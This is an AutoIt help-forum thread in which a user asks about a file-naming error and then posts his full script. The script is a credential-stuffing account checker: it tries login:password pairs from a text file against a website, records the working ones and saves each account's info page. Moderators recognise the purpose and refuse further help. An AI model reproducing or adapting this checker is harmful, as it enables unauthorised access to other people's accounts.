xdp22 Posted October 24, 2010 Share Posted October 24, 2010 Hello, it is possible to make FileWriteLine to file with name $a + $b? example : $name = $Barray[$i]&"/"&$Barray[$i + 1] $name2 = $plik & "[].html" $sHTML = _FFReadHTML("html",7) FileWriteLine($name2, $sHTML) This code should make file with name $name+$name2[].html with $sHTML inside But it's doesn't work :/ If i use FileWriteLine("name.html", $sHTML) it works :/ If i make MsgBox(64, "", $name2) i will got good file name, then why this file can't be created? Any one can help me? Thanks Link to comment Share on other sites More sharing options...
Moderators Melba23 Posted October 24, 2010 Moderators Share Posted October 24, 2010 xdp22 This code should make file with name $name+$name2[].htmlYour file name will be whatever is in the variable $plik followed by [].html - not $name+$name2[].html. What is in $plik? M23 Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind Open spoiler to see my UDFs: Spoiler ArrayMultiColSort ---- Sort arrays on multiple columnsChooseFileFolder ---- Single and multiple selections from specified path treeview listingDate_Time_Convert -- Easily convert date/time formats, including the language usedExtMsgBox --------- A highly customisable replacement for MsgBoxGUIExtender -------- Extend and retract multiple sections within a GUIGUIFrame ---------- Subdivide GUIs into many adjustable framesGUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView itemsGUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeViewMarquee ----------- Scrolling tickertape GUIsNoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxesNotify ------------- Small notifications on the edge of the displayScrollbars ----------Automatically sized scrollbars with a single commandStringSize ---------- Automatically size controls to fit textToast -------------- Small GUIs which pop out of the notification area Link to comment Share on other sites More sharing options...
xdp22 Posted October 24, 2010 Author Share Posted October 24, 2010 Yes sry i just bad change my original code here is the original code $plik = $Barray[$i]&"/"&$Barray[$i + 1] $plik2 = $plik & "[].html" $sHTML = _FFReadHTML("html",7) FileWriteLine($plik2, $sHTML) Link to comment Share on other sites More sharing options...
Moderators Melba23 Posted October 24, 2010 Moderators Share Posted October 24, 2010 xdp22,Works for me when I run a dummy array with your code. Do you have permission to create a file in the folder you are using? Try using FileOpen first and see what you get as a return.M23 Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind Open spoiler to see my UDFs: Spoiler ArrayMultiColSort ---- Sort arrays on multiple columnsChooseFileFolder ---- Single and multiple selections from specified path treeview listingDate_Time_Convert -- Easily convert date/time formats, including the language usedExtMsgBox --------- A highly customisable replacement for MsgBoxGUIExtender -------- Extend and retract multiple sections within a GUIGUIFrame ---------- Subdivide GUIs into many adjustable framesGUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView itemsGUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeViewMarquee ----------- Scrolling tickertape GUIsNoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxesNotify ------------- Small notifications on the edge of the displayScrollbars ----------Automatically sized scrollbars with a single commandStringSize ---------- Automatically size controls to fit textToast -------------- Small GUIs which pop out of the notification area Link to comment Share on other sites More sharing options...
xdp22 Posted October 24, 2010 Author Share Posted October 24, 2010 I have premission because if i use normal "file.txt" it works :/ what can be wrong? ehh :/ Link to comment Share on other sites More sharing options...
Moderators Melba23 Posted October 24, 2010 Moderators Share Posted October 24, 2010 xdp22, Can you please post the whole script, including the array declaration? M23 Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind Open spoiler to see my UDFs: Spoiler ArrayMultiColSort ---- Sort arrays on multiple columnsChooseFileFolder ---- Single and multiple selections from specified path treeview listingDate_Time_Convert -- Easily convert date/time formats, including the language usedExtMsgBox --------- A highly customisable replacement for MsgBoxGUIExtender -------- Extend and retract multiple sections within a GUIGUIFrame ---------- Subdivide GUIs into many adjustable framesGUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView itemsGUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeViewMarquee ----------- Scrolling tickertape GUIsNoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxesNotify ------------- Small notifications on the edge of the displayScrollbars ----------Automatically sized scrollbars with a single commandStringSize ---------- Automatically size controls to fit textToast -------------- Small GUIs which pop out of the notification area Link to comment Share on other sites More sharing options...
xdp22 Posted October 25, 2010 Author Share Posted October 25, 2010 (edited) Sure, thanks for answer from you Here code expandcollapse popup#include <array.au3> #Include <File.au3> #include <FF.au3> #include <string.au3> #include <FFlogin.au3> #include <_FF_Grab.au3> #include <Misc.au3> #include <Clipboard.au3> HotKeySet("{HOME}","lol") HotKeySet("{END}","ext") While 1 Sleep(100) WEnd func ext() exit EndFunc func lol() $stronka = "http://anysite.com/" $Socket = _FFStart($stronka) Sleep(5000) $titlek = "Panel - Mozilla Firefox" Dim $array _FileReadToArray ("accounts.txt", $array) ;~ _arraydisplay ($array) _arraydelete ($array , 0) $string = _ArrayToString ($array, ":") ;~ msgbox (0, '' , $string) $Barray = stringsplit ($string , ":" , 1) _arraydelete ($Barray , 0) ;~ _arraydisplay ($Barray) For $i = 0 to ubound($Barray) - 1 $login = $Barray[$i] $password = $Barray[$i + 1] $username = _FFObjGet("user", "name") _FFObj($username, "value", $login) Sleep(300) $pass = _FFObjGet("pass", "name") _FFObj($pass, "value", $password) Sleep(300) ControlClick($titlek, "", "", "left", "1" , 248, 358) Sleep(3000) $sText = _FFReadText($socket) $szukaj = "Change password" If StringInStr($sText, $szukaj) Then FileWriteLine("workingaccount.txt", "login: "& $Barray[$i] & " hasło: " & $Barray[$i + 1] & " / " &@Hour&":"&@MIN&" w dniu "&@MDAY&"."&@MON) _FFOpenURL("http://anysite.com/accountinfo.php") Sleep(3000) $plik = $Barray[$i]&"/"&$Barray[$i + 1] $plik2 = $plik & "[].html" $sHTML = _FFReadHTML("html",7) FileWriteLine($plik2, $sHTML) _FFOpenURL("http://anysite.com/logout.php") Sleep(3000) _FFOpenURL("http://anysite.com/") Sleep(3000) $i = $i + 1 Else FileDelete("lastcheckedaccount.txt") FileWriteLine("lastcheckedaccount.txt", "login: "& $Barray[$i] & " hasło: " & $Barray[$i + 1]) FileClose("lastcheckedaccount.txt") FileClose("accounts.txt") _FFOpenURL("http://anysite.com/") $i = $i + 1 Endif Next exit EndFunc Edited October 25, 2010 by xdp22 Link to comment Share on other sites More sharing options...
Moderators Melba23 Posted October 25, 2010 Moderators Share Posted October 25, 2010 xdp22, And do not expect any more help on this one either! M23 Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind Open spoiler to see my UDFs: Spoiler ArrayMultiColSort ---- Sort arrays on multiple columnsChooseFileFolder ---- Single and multiple selections from specified path treeview listingDate_Time_Convert -- Easily convert date/time formats, including the language usedExtMsgBox --------- A highly customisable replacement for MsgBoxGUIExtender -------- Extend and retract multiple sections within a GUIGUIFrame ---------- Subdivide GUIs into many adjustable framesGUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView itemsGUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeViewMarquee ----------- Scrolling tickertape GUIsNoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxesNotify ------------- Small notifications on the edge of the displayScrollbars ----------Automatically sized scrollbars with a single commandStringSize ---------- Automatically size controls to fit textToast -------------- Small GUIs which pop out of the notification area Link to comment Share on other sites More sharing options...
Developers Jos Posted October 25, 2010 Developers Share Posted October 25, 2010 @xdp22, better move on and leave these forums because you are up to no good as far as I can see. Jos SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past. Link to comment Share on other sites More sharing options...
Recommended Posts